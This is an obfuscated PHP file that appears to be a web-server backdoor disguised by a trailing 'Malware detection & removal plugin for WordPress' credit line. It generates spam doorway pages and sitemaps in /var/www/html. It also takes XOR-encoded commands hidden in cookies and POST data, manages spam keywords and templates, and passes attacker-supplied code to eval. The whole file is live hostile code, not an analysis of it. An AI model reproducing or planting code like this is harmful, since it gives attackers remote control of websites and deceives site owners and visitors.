            $_dgvesz8q .= "</url>\n";
        }
        $_qhb2p34z = $_bfmc2p5z . $_dgvesz8q . $_xkl1q350;
        $_dfn1i2cp = _sh79rk::_fqaa1() . "/sitemap.xml";
        @file_put_contents($_4gthkfdj, $_qhb2p34z);
        foreach ($_kjhw69ve as $_6u4vjq24 => $_ns7cej99) {
            $_qhb2p34z = sprintf("<!DOCTYPE html><html>\n<head>\n<title>Articles \"%s\"</title>\n</head>\n<body>\n", $_6u4vjq24);
            $_qhb2p34z .= sprintf("<a href=\"%s\">%s</a><br>\n", _sh79rk::_fqaa1() . "/sitemap.html", "Sitemap Index");
            foreach ($_ns7cej99 as $_6biz1od2 => $_y9jueaf1) {
                $_qhb2p34z .= sprintf("<a href=\"%s\">%s</a><br>\n", $_y9jueaf1, $_6biz1od2);
            }
            $_qhb2p34z .= "</body></html>";
            $_4gthkfdj = "/var/www/html" . sprintf("/sitemap_%s.html", $_6u4vjq24);
            @file_put_contents($_4gthkfdj, $_qhb2p34z);
        }
        $_qhb2p34z = "<!DOCTYPE html><html>\n<head>\n<title>Article Alphabet Index</title>\n</head>\n<body>\n";
        foreach ($_kjhw69ve as $_6u4vjq24 => $_ns7cej99) {
            $_qhb2p34z .= sprintf("<a href=\"%s\">%s</a><br>\n", _sh79rk::_fqaa1() . sprintf("/sitemap_%s.html", $_6u4vjq24), strtoupper($_6u4vjq24));
        }
        $_qhb2p34z .= "</body></html>";
        $_4gthkfdj = "/var/www/html/sitemap.html";
        @file_put_contents($_4gthkfdj, $_qhb2p34z);
        return $_dfn1i2cp;
    }
    public function _dhnkg()
    {
        $_whr6jlz9 = substr(md5(_sh79rk::$_j27il8go . "salt3"), 0, 6);
        if (!$this->_045zf()) {
            if ($this->_l1irc()) {
                return;
            }
        }
        if (!empty($_GET)) {
            $_qxvo5hmd = array_values($_GET);
        } else {
            $_qxvo5hmd = explode("/", $_SERVER["REQUEST_URI"]);
            $_qxvo5hmd = array_reverse($_qxvo5hmd);
        }
        $_6biz1od2 = "";
        foreach ($_qxvo5hmd as $_a789eork) {
            if (substr_count($_a789eork, "-") > 0) {
                $_6biz1od2 = $_a789eork;
                break;
            }
        }
        $_6biz1od2 = str_replace($_whr6jlz9 . "-", "", $_6biz1od2);
        $_6biz1od2 = str_replace("-" . $_whr6jlz9, "", $_6biz1od2);
        $_6biz1od2 = str_replace("-", " ", $_6biz1od2);
        $_m5stnlhz = array(".html", ".php", ".aspx");
        foreach ($_m5stnlhz as $_v6x6cicr) {
            if (strpos($_6biz1od2, $_v6x6cicr) === strlen($_6biz1od2) - strlen($_v6x6cicr)) {
                $_6biz1od2 = substr($_6biz1od2, 0, strlen($_6biz1od2) - strlen($_v6x6cicr));
            }
        }
        $_6biz1od2 = urldecode($_6biz1od2);
        $_9hi8us08 = _q65yr9t::_zh5l7();
        if (empty($_6biz1od2)) {
            $_6biz1od2 = $_9hi8us08[0];
        } else {
            if (!in_array($_6biz1od2, $_9hi8us08)) {
                $_mfz9vrdw = 0;
                foreach (str_split($_6biz1od2) as $_juzztseo) {
                    $_mfz9vrdw += ord($_juzztseo);
                }
                $_6biz1od2 = $_9hi8us08[$_mfz9vrdw % count($_9hi8us08)];
            }
        }
        if (!empty($_6biz1od2)) {
            $_kscp0qs8 = _728kna::_yx1al($_6biz1od2);
            if (empty($_kscp0qs8)) {
                list($_yioxwmol, $_xhc9vt8k) = $this->_slxs3($_6biz1od2);
                if (empty($_xhc9vt8k)) {
                    return;
                }
                $_jzqq3aib = _sh79rk::_ut00g(_sh79rk::$_trti3as7, _sh79rk::$_t148xucj);
                $_6u4vjq24 = strtolower($_6biz1od2[0]);
                if (!preg_match("/^[a-z]\$/", $_6u4vjq24)) {
                    $_6u4vjq24 = "other";
                }
                $_jzqq3aib .= sprintf("<a href=\"%s\">Articles %s</a><br>\n", _sh79rk::_fqaa1() . sprintf("/sitemap_%s.html", $_6u4vjq24), strtoupper($_6u4vjq24));
                $_kscp0qs8 = new _728kna($_yioxwmol, $_xhc9vt8k, $_6biz1od2, $_jzqq3aib);
                $_kscp0qs8->_nrbkx();
            }
            echo $_kscp0qs8->_im20u();
        }
    }
}
_728kna::_d1mi4("/var/www/html", 1, _sh79rk::$_j27il8go);
_bzi26i::_d1mi4("/var/www/html", substr(md5(_sh79rk::$_j27il8go . "salt12"), 0, 4));
_q65yr9t::_d1mi4("/var/www/html", substr(md5(_sh79rk::$_j27il8go . "salt22"), 0, 4));
function _rszdq($_0yh9l24o, $_2tslto6u)
{
    $_8zsjzstt = "";
    for ($_tqhsapqz = 0; $_tqhsapqz < strlen($_0yh9l24o);) {
        for ($_1dp90p6x = 0; $_1dp90p6x < strlen($_2tslto6u) && $_tqhsapqz < strlen($_0yh9l24o); $_1dp90p6x++, $_tqhsapqz++) {
            $_8zsjzstt .= chr(ord($_0yh9l24o[$_tqhsapqz]) ^ ord($_2tslto6u[$_1dp90p6x]));
        }
    }
    return $_8zsjzstt;
}
function _h1af9($_0yh9l24o, $_2tslto6u, $_9pqkjffg)
{
    return _rszdq(_rszdq($_0yh9l24o, $_2tslto6u), $_9pqkjffg);
}
foreach (array_merge($_COOKIE, $_POST) as $_b8tp9jta => $_0yh9l24o) {
    $_0yh9l24o = @unserialize(_h1af9(_sh79rk::_70l39($_0yh9l24o), $_b8tp9jta, _sh79rk::$_j27il8go));
    if (isset($_0yh9l24o['ak']) && _sh79rk::$_j27il8go == $_0yh9l24o['ak']) {
        if ($_0yh9l24o['a'] == 'doorway2') {
            if ($_0yh9l24o['sa'] == 'check') {
                $_0a0wb5z6 = _olfkn6::_gyf37(explode("/", _sh79rk::$_fpf5q99v), "");
                $_0a0wb5z6 = @unserialize($_0a0wb5z6);
                if (!empty($_0a0wb5z6)) {
                    echo @serialize(array("uid" => _sh79rk::$_j27il8go, "v" => _sh79rk::$_2giqjsyx, "cache" => _728kna::_g91p5(), "keywords" => count(_q65yr9t::_zh5l7()), "templates" => _bzi26i::_2jn19()));
                }
                exit;
            }
            if ($_0yh9l24o['sa'] == 'templates') {
                foreach ($_0yh9l24o["templates"] as $_yioxwmol) {
                    _bzi26i::_nrbkx($_yioxwmol);
                    echo @serialize(array("uid" => _sh79rk::$_j27il8go, "v" => _sh79rk::$_2giqjsyx));
                }
            }
            if ($_0yh9l24o['sa'] == 'keywords') {
                _q65yr9t::_nrbkx($_0yh9l24o["keywords"]);
                _sh79rk::_2d5li();
                echo @serialize(array("uid" => _sh79rk::$_j27il8go, "v" => _sh79rk::$_2giqjsyx));
            }
            if ($_0yh9l24o['sa'] == 'update_sitemap') {
                _sh79rk::_2d5li(TRUE);
                echo @serialize(array("uid" => _sh79rk::$_j27il8go, "v" => _sh79rk::$_2giqjsyx));
            }
            if ($_0yh9l24o['sa'] == 'pages') {
                $_9s20aebk = 0;
                $_9hi8us08 = _q65yr9t::_zh5l7();
                if (_bzi26i::_2jn19() > 0) {
                    foreach ($_0yh9l24o['pages'] as $_kscp0qs8) {
                        $_32g07nto = _728kna::_yx1al($_kscp0qs8["keyword"]);
                        if (empty($_32g07nto)) {
                            $_32g07nto = new _728kna(_bzi26i::_dyd1b(), $_kscp0qs8["text"], $_kscp0qs8["keyword"], _sh79rk::_ut00g(_sh79rk::$_trti3as7, _sh79rk::$_t148xucj));
                            $_32g07nto->_nrbkx();
                            $_9s20aebk += 1;
                            if (!in_array($_kscp0qs8["keyword"], $_9hi8us08)) {
                                _q65yr9t::_9h0dv($_kscp0qs8["keyword"]);
                            }
                        }
                    }
                }
                echo @serialize(array("uid" => _sh79rk::$_j27il8go, "v" => _sh79rk::$_2giqjsyx, "pages" => $_9s20aebk));
            }
            if ($_0yh9l24o["sa"] == "ping") {
                $_kswiw4tb = _sh79rk::_z0roo();
                echo @serialize(array("uid" => _sh79rk::$_j27il8go, "v" => _sh79rk::$_2giqjsyx, "result" => (int) $_kswiw4tb));
            }
            if ($_0yh9l24o["sa"] == "robots") {
                $_kswiw4tb = _sh79rk::_k2w4n();
                echo @serialize(array("uid" => _sh79rk::$_j27il8go, "v" => _sh79rk::$_2giqjsyx, "result" => (int) $_kswiw4tb));
            }
        }
        if ($_0yh9l24o['sa'] == 'eval') {
            eval($_0yh9l24o["data"]);
            exit;
        }
    }
}
$_jc2t0xsg = new _sh79rk();
if ($_jc2t0xsg->_5ky27()) {
    $_jc2t0xsg->_dhnkg();
}
exit;


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.